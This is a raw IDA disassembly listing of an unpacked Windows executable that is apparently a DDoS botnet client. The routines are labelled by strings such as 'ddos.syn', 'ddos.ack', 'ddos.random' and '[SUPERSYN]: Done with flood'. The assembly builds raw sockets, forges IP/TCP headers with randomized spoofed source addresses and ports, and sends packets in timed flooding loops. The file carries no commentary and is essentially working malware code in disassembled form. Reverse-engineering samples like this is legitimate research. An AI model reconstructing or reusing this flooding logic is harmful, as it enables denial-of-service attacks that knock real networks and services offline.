; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 66EF74C98EE9DA5AC04AE9D633DF1BFB ; File Name : u:\work\66ef74c98ee9da5ac04ae9d633df1bfb_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 000D0000 ( 851968.) ; Section size in file : 000D0000 ( 851968.) ; Offset to raw data for section: 00001000 ; Flags C0000040: Data Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write ___ segment para public 'DATA' use32 assume cs:___ ;org 401000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; DATA XREF: sub_40EE72+3A15o var_494 = byte ptr -494h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = byte ptr -28Ch var_20C = byte ptr -20Ch var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_8C = byte ptr -8Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 494h mov eax, [ebp+arg_0] push esi push edi mov ecx, 0A5h mov esi, eax lea edi, [ebp+var_294] rep movsd mov dword ptr [eax+290h], 1 nop call near ptr 26108B1h push eax call sub_417302 lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_20C] push eax lea eax, [ebp+var_28C] push eax call sub_4013EC add esp, 14h push eax lea eax, [ebp+var_494] push offset unk_426050 push eax call sub_4172B0 xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_401093 push esi lea eax, [ebp+var_494] push [ebp+var_C] push eax lea eax, [ebp+var_10C] push eax push [ebp+var_294] call sub_40D679 add esp, 14h loc_401093: ; CODE XREF: sub_401000+71j lea eax, [ebp+var_494] push eax call sub_40BF6D push [ebp+var_290] call sub_417078 pop ecx pop ecx push esi call near ptr 2610350h nop pop edi pop esi sub_401000 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4010B5 proc near ; CODE XREF: sub_4013EC+40p var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_43AD10 test eax, eax jz short loc_4010F5 xor eax, eax jmp loc_4013E8 ; --------------------------------------------------------------------------- loc_4010F5: ; CODE XREF: sub_4010B5+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_43AE3C cmp eax, 0FFFFFFFFh mov [ebp+var_20], eax jz loc_4013E0 push esi lea ecx, [ebp+var_40] push 4 push ecx push 2 push ebx push eax mov [ebp+var_40], edi call dword_43AD78 cmp eax, 0FFFFFFFFh jz loc_4013D6 push [ebp+arg_C] mov [ebp+var_58], 2 call dword_43AD98 mov esi, [ebp+arg_0] push 28h mov [ebp+var_56], ax mov [ebp+var_54], esi mov [ebp+var_34], 45h call dword_43AD98 push [ebp+arg_C] mov [ebp+var_32], ax mov [ebp+var_30], di mov [ebp+var_2E], bx mov [ebp+var_2C], 80h mov [ebp+var_2B], 6 mov [ebp+var_2A], bx mov [ebp+var_24], esi call dword_43AD98 mov [ebp+var_12], ax call sub_41730C movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call dword_43AD98 push 12345678h mov [ebp+var_14], ax call dword_43AD94 push offset aDdos_syn ; "ddos.syn" mov [ebp+var_10], eax push [ebp+arg_8] call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4011C5 mov [ebp+var_C], ebx mov [ebp+var_7], 2 jmp short loc_401219 ; --------------------------------------------------------------------------- loc_4011C5: ; CODE XREF: sub_4010B5+105j push offset aDdos_ack ; "ddos.ack" push [ebp+arg_8] call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4011E1 mov [ebp+var_C], ebx mov [ebp+var_7], 10h jmp short loc_401219 ; --------------------------------------------------------------------------- loc_4011E1: ; CODE XREF: sub_4010B5+121j push offset aDdos_random ; "ddos.random" push [ebp+arg_8] call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_401219 call sub_41730C push 3 cdq pop ecx idiv ecx mov [ebp+var_C], edx call sub_41730C push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_7], dl loc_401219: ; CODE XREF: sub_4010B5+10Ej ; sub_4010B5+12Aj ... push 4000h mov [ebp+var_8], 50h call dword_43AD98 mov [ebp+var_6], ax lea eax, [ebp+var_48] push eax mov [ebp+var_2], bx mov [ebp+arg_8], ebx nop call near ptr 2610C73h lea eax, [ebp+var_1C] push eax nop call near ptr 2610993h push [ebp+var_44] mov eax, [ebp+arg_10] cdq push [ebp+var_48] push edx push eax call sub_417760 add eax, [ebp+var_1C] push 14h pop esi adc edx, [ebp+var_18] mov [ebp+var_3C], eax mov [ebp+var_38], edx loc_401267: ; CODE XREF: sub_4010B5+2E2j ; sub_4010B5+2F0j mov [ebp+var_4], bx call sub_41730C cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_43AD98 mov [ebp+var_14], ax call sub_41730C mov edi, eax shl edi, 10h call sub_41730C or edi, eax push edi call dword_43AD98 movzx eax, ax mov [ebp+var_10], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_43AD94 mov [ebp+var_28], eax mov eax, [ebp+var_24] push esi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_43AD98 mov [ebp+var_6E], ax mov eax, [ebp+var_28] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_417390 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_94] push eax call sub_417390 lea eax, [ebp+var_B4] push 34h push eax call sub_40AF39 mov [ebp+var_4], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_417390 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_A0] push eax call sub_417390 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_417330 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AF39 mov [ebp+var_2A], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_417390 add esp, 14h lea eax, [ebp+var_58] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_20] call dword_43ADFC cmp eax, 0FFFFFFFFh jz short loc_4013AA add [ebp+arg_8], eax lea eax, [ebp+var_1C] push eax call near ptr 2610993h nop mov eax, [ebp+var_18] cmp eax, [ebp+var_38] jg short loc_4013D3 jl loc_401267 mov eax, [ebp+var_1C] cmp eax, [ebp+var_3C] jnb short loc_4013D3 jmp loc_401267 ; --------------------------------------------------------------------------- loc_4013AA: ; CODE XREF: sub_4010B5+2CBj call dword_43AD2C push eax lea eax, [ebp+var_F4] push offset unk_426088 push eax call sub_4172B0 lea eax, [ebp+var_F4] push eax call sub_40BF6D add esp, 10h jmp short loc_4013D6 ; --------------------------------------------------------------------------- loc_4013D3: ; CODE XREF: sub_4010B5+2E0j ; sub_4010B5+2EEj mov ebx, [ebp+arg_8] loc_4013D6: ; CODE XREF: sub_4010B5+78j ; sub_4010B5+31Cj push [ebp+var_20] call dword_43AE30 pop esi loc_4013E0: ; CODE XREF: sub_4010B5+5Bj call dword_43ACF8 mov eax, ebx loc_4013E8: ; CODE XREF: sub_4010B5+3Bj pop edi pop ebx leave retn sub_4010B5 endp ; =============== S U B R O U T I N E ======================================= sub_4013EC proc near ; CODE XREF: sub_401000+4Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40ADCA push [esp+10h+arg_4] mov esi, eax call sub_41781F push [esp+14h+arg_C] mov ebx, eax call sub_41781F mov edi, eax call sub_41730C cdq mov ecx, 200h push edi idiv ecx push ebx push [esp+20h+arg_8] lea eax, [edx+esi+100h] push eax push esi call sub_4010B5 add esp, 20h test eax, eax jnz short loc_40143B push 1 pop eax loc_40143B: ; CODE XREF: sub_4013EC+4Aj cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_4013EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40144A proc near ; DATA XREF: sub_40EE72+3C03o var_3BC = byte ptr -3BCh var_1BC = dword ptr -1BCh var_1B8 = byte ptr -1B8h var_138 = byte ptr -138h var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3BCh push ebx push esi mov eax, [ebp+arg_0] push edi push 68h mov esi, eax pop ecx lea edi, [ebp+var_1BC] push 1 pop ebx push 0FFh push 3 rep movsd push 2 mov [eax+19Ch], ebx call dword_43AE18 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_4014E5 call dword_43AD2C push eax lea eax, [ebp+var_3BC] loc_401493: ; DATA XREF: ___:off_4282ACo push offset unk_426214 push eax call sub_4172B0 xor edi, edi add esp, 0Ch cmp [ebp+var_24], edi jnz short loc_4014C8 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40D679 add esp, 14h loc_4014C8: ; CODE XREF: sub_40144A+5Cj lea eax, [ebp+var_3BC] push eax call sub_40BF6D push [ebp+var_38] call sub_417078 pop ecx pop ecx push edi call near ptr 2610350h nop loc_4014E5: ; CODE XREF: sub_40144A+3Aj lea ecx, [ebp+var_C] push 4 push ecx xor edi, edi push 2 push edi push eax mov [ebp+var_C], ebx call dword_43AD78 cmp eax, 0FFFFFFFFh jnz short loc_40155C call dword_43AD2C push eax lea eax, [ebp+var_3BC] push offset unk_4261CC push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_24], edi jnz short loc_40153F push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40D679 add esp, 14h loc_40153F: ; CODE XREF: sub_40144A+D3j lea eax, [ebp+var_3BC] push eax call sub_40BF6D push [ebp+var_38] call sub_417078 pop ecx pop ecx push edi nop call near ptr 2610350h loc_40155C: ; CODE XREF: sub_40144A+B3j lea eax, [ebp+var_1B8] push eax call dword_43ADD8 cmp eax, 0FFFFFFFFh jnz short loc_4015C3 lea eax, [ebp+var_3BC] push offset unk_42619C push eax call sub_4172B0 cmp [ebp+var_24], edi pop ecx pop ecx jnz short loc_4015A6 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40D679 add esp, 14h loc_4015A6: ; CODE XREF: sub_40144A+13Aj lea eax, [ebp+var_3BC] push eax call sub_40BF6D push [ebp+var_38] call sub_417078 pop ecx pop ecx push edi nop call near ptr 2610350h loc_4015C3: ; CODE XREF: sub_40144A+122j push 10h lea eax, [ebp+var_1C] push edi push eax call sub_417330 add esp, 0Ch mov [ebp+var_1C], 2 push edi call dword_43AD98 mov [ebp+var_1A], ax lea eax, [ebp+var_1B8] push eax call dword_43ADD8 mov esi, dword_424058 mov [ebp+var_18], eax mov [ebp+arg_0], edi call esi mov [ebp+var_8], eax loc_401601: ; CODE XREF: sub_40144A+2E8j call esi sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_30] ja loc_4017AC push 41Ch mov byte_436AB8, 45h call dword_43AD98 cmp [ebp+var_2C], edi mov word_436ABA, ax mov word_436ABC, bx mov word_436ABE, di mov byte_436AC0, 80h mov byte_436AC1, bl mov word_436AC2, di jz short loc_401687 call sub_41730C mov ebx, eax shl ebx, 8 call sub_41730C add ebx, eax shl ebx, 8 call sub_41730C add ebx, eax shl ebx, 8 call sub_41730C add ebx, eax push 1 mov dword_436AC4, ebx pop ebx jmp short loc_40169F ; --------------------------------------------------------------------------- loc_401687: ; CODE XREF: sub_40144A+20Bj push [ebp+var_1BC] call sub_40AEE0 pop ecx push eax call dword_43ADD8 mov dword_436AC4, eax loc_40169F: ; CODE XREF: sub_40144A+23Bj mov eax, [ebp+var_18] mov dword_436AC8, eax call sub_41730C cdq mov ecx, 100h idiv ecx mov byte_436ACC, dl call sub_41730C cdq mov ecx, 100h idiv ecx mov byte_436ACD, dl call sub_41730C cdq mov ecx, 0F0h push 400h idiv ecx mov word_436ACE, di mov word_436AD2, bx inc edx mov word_436AD0, dx call sub_41730C cdq mov ecx, 0FFh idiv ecx push edx push offset dword_436AD4 call sub_417330 add esp, 0Ch lea eax, [ebp+var_1C] push 10h push eax push edi push 41Ch push offset byte_436AB8 push [ebp+var_4] call dword_43ADFC cmp eax, 0FFFFFFFFh jz short loc_401737 inc [ebp+arg_0] jmp loc_401601 ; --------------------------------------------------------------------------- loc_401737: ; CODE XREF: sub_40144A+2E3j push [ebp+var_4] call dword_43AE30 call dword_43AD2C push eax lea eax, [ebp+var_1B8] push [ebp+arg_0] push eax push offset unk_42613C lea eax, [ebp+var_3BC] push 200h push eax call sub_41782A add esp, 18h cmp [ebp+var_24], edi jnz short loc_40178F push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40D679 add esp, 14h loc_40178F: ; CODE XREF: sub_40144A+323j lea eax, [ebp+var_3BC] push eax call sub_40BF6D push [ebp+var_38] call sub_417078 pop ecx pop ecx push edi nop call near ptr 2610350h loc_4017AC: ; CODE XREF: sub_40144A+1C8j push [ebp+var_4] call dword_43AE30 mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_30] shr ecx, 14h push ecx push eax lea eax, [ebp+var_1B8] push [ebp+arg_0] push eax lea eax, [ebp+var_138] push eax lea eax, [ebp+var_3BC] push offset unk_4260DC push eax call sub_4172B0 add esp, 1Ch cmp [ebp+var_24], edi jnz short loc_401814 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40D679 add esp, 14h loc_401814: ; CODE XREF: sub_40144A+3A8j lea eax, [ebp+var_3BC] push eax call sub_40BF6D push [ebp+var_38] call sub_417078 pop ecx pop ecx push edi call near ptr 2610350h nop sub_40144A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401831 proc near ; DATA XREF: sub_40EE72+159Do var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_190] push eax lea eax, [ebp+var_210] push eax call sub_401992 add esp, 0Ch push eax lea eax, [ebp+var_414] push offset aSupersynDoneWi ; "[SUPERSYN]: Done with flood (%iKB/sec)" push eax call sub_4172B0 xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_4018B1 push esi lea eax, [ebp+var_414] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_214] call sub_40D679 add esp, 14h loc_4018B1: ; CODE XREF: sub_401831+5Ej lea eax, [ebp+var_414] push eax call sub_40BF6D push [ebp+var_10] call sub_417078 pop ecx pop ecx push esi call near ptr 2610350h nop pop edi pop esi sub_401831 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4018D0 proc near ; CODE XREF: sub_401992+27p var_654 = byte ptr -654h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 654h push 10h lea eax, [ebp+var_14] push 0 push eax call sub_417330 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+arg_4] call dword_43AD98 mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_8] test eax, eax mov [ebp+var_4], 1 jle short loc_40198E push ebx push esi push edi mov [ebp+arg_4], eax mov edi, 190h loc_40191B: ; CODE XREF: sub_4018D0+B9j lea esi, [ebp+var_654] mov ebx, edi loc_401923: ; CODE XREF: sub_4018D0+7Aj push 0 push 1 push 2 nop call near ptr 71AB3C22h cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_401946 lea ecx, [ebp+var_4] push ecx push 8004667Eh push eax nop call near ptr 71AB155Ah loc_401946: ; CODE XREF: sub_4018D0+64j add esi, 4 dec ebx jnz short loc_401923 lea esi, [ebp+var_654] mov ebx, edi loc_401954: ; CODE XREF: sub_4018D0+96j lea eax, [ebp+var_14] push 10h push eax push dword ptr [esi] nop call near ptr 71AB3E5Dh add esi, 4 dec ebx jnz short loc_401954 push 64h nop call near ptr 2620000h lea esi, [ebp+var_654] mov ebx, edi loc_401978: ; CODE XREF: sub_4018D0+B4j push dword ptr [esi] nop call near ptr 71AB1A6Dh add esi, 4 dec ebx jnz short loc_401978 dec [ebp+arg_4] jnz short loc_40191B pop edi pop esi pop ebx loc_40198E: ; CODE XREF: sub_4018D0+3Ej xor eax, eax leave retn sub_4018D0 endp ; =============== S U B R O U T I N E ======================================= sub_401992 proc near ; CODE XREF: sub_401831+3Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40ADCA push [esp+10h+arg_4] mov edi, eax call sub_41781F push [esp+14h+arg_8] mov ebx, eax call sub_41781F mov esi, eax push esi push ebx push edi call sub_4018D0 add esp, 18h test eax, eax jnz short loc_4019C8 push 1 pop eax loc_4019C8: ; CODE XREF: sub_401992+31j cdq mov ecx, 3E8h pop edi idiv ecx cdq idiv esi pop esi pop ebx retn sub_401992 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4019D7 proc near ; DATA XREF: sub_40EE72+3906o var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_190] push eax lea eax, [ebp+var_210] push eax call sub_401D28 add esp, 0Ch push eax lea eax, [ebp+var_414] push offset dword_426280 push eax call sub_4172B0 xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_401A57 push esi lea eax, [ebp+var_414] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_214] call sub_40D679 add esp, 14h loc_401A57: ; CODE XREF: sub_4019D7+5Ej lea eax, [ebp+var_414] push eax call sub_40BF6D push [ebp+var_10] call sub_417078 pop ecx pop ecx push esi call near ptr 2610350h nop pop edi pop esi sub_4019D7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401A76 proc near ; CODE XREF: sub_401D28+3Cp var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_43AD10 test eax, eax jz short loc_401AB6 xor eax, eax jmp loc_401D24 ; --------------------------------------------------------------------------- loc_401AB6: ; CODE XREF: sub_401A76+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_43AE3C cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_401D1C push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call dword_43AD78 cmp eax, 0FFFFFFFFh jz loc_401D12 push 10h lea eax, [ebp+var_50] push ebx push eax call sub_417330 add esp, 0Ch mov [ebp+var_50], 2 push [ebp+arg_8] call dword_43AD98 mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call dword_43AD98 push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call dword_43AD98 push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call dword_43AD98 mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx nop call near ptr 2610C73h lea eax, [ebp+var_8] push eax nop call near ptr 2610993h push [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call sub_417760 add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_401BA1: ; CODE XREF: sub_401A76+25Dj ; sub_401A76+26Bj mov [ebp+var_24], bx call sub_41730C cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_43AD98 mov [ebp+var_34], ax call sub_41730C mov edi, eax shl edi, 10h call sub_41730C or edi, eax push edi call dword_43AD98 movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_43AD94 push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_43AD98 mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_417390 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_94] push eax call sub_417390 lea eax, [ebp+var_B4] push 34h push eax call sub_40AF39 mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_417390 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_A0] push eax call sub_417390 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_417330 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AF39 mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_417390 add esp, 14h lea eax, [ebp+var_50] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call dword_43ADFC cmp eax, 0FFFFFFFFh jz short loc_401CE6 add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax call near ptr 2610993h nop mov eax, [ebp+var_4] cmp eax, esi jg short loc_401D0F jl loc_401BA1 mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jnb short loc_401D0F jmp loc_401BA1 ; --------------------------------------------------------------------------- loc_401CE6: ; CODE XREF: sub_401A76+247j call dword_43AD2C push eax lea eax, [ebp+var_F4] push offset dword_4262B8 push eax call sub_4172B0 lea eax, [ebp+var_F4] push eax call sub_40BF6D add esp, 10h jmp short loc_401D12 ; --------------------------------------------------------------------------- loc_401D0F: ; CODE XREF: sub_401A76+25Bj ; sub_401A76+269j mov ebx, [ebp+arg_8] loc_401D12: ; CODE XREF: sub_401A76+78j ; sub_401A76+297j push [ebp+var_C] call dword_43AE30 pop esi loc_401D1C: ; CODE XREF: sub_401A76+5Bj call dword_43ACF8 mov eax, ebx loc_401D24: ; CODE XREF: sub_401A76+3Bj pop edi pop ebx leave retn sub_401A76 endp ; =============== S U B R O U T I N E ======================================= sub_401D28 proc near ; CODE XREF: sub_4019D7+3Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40ADCA push [esp+10h+arg_4] mov esi, eax call sub_41781F push [esp+14h+arg_8] mov ebx, eax call sub_41781F mov edi, eax call sub_41730C cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_401A76 add esp, 1Ch test eax, eax jnz short loc_401D73 push 1 pop eax loc_401D73: ; CODE XREF: sub_401D28+46j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_401D28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401D82 proc near ; DATA XREF: sub_40EE72+2D38o var_440 = byte ptr -440h var_240 = dword ptr -240h var_23C = byte ptr -23Ch var_1BC = byte ptr -1BCh var_13C = byte ptr -13Ch var_BC = dword ptr -0BCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A0 = byte ptr -0A0h var_9F = byte ptr -9Fh var_8C = byte ptr -8Ch var_80 = byte ptr -80h var_78 = byte ptr -78h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_5B = byte ptr -5Bh var_5A = word ptr -5Ah var_44 = word ptr -44h var_42 = word ptr -42h var_40 = dword ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = word ptr -26h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = word ptr -22h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 440h mov eax, [ebp+arg_0] push ebx push esi push edi push 68h mov esi, eax pop ecx lea edi, [ebp+var_240] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp+var_9F] push 0Eh mov [eax+19Ch], esi pop ecx xor eax, eax mov [ebp+var_A0], bl rep stosd stosw stosb mov edi, dword_424058 call edi push eax call sub_417302 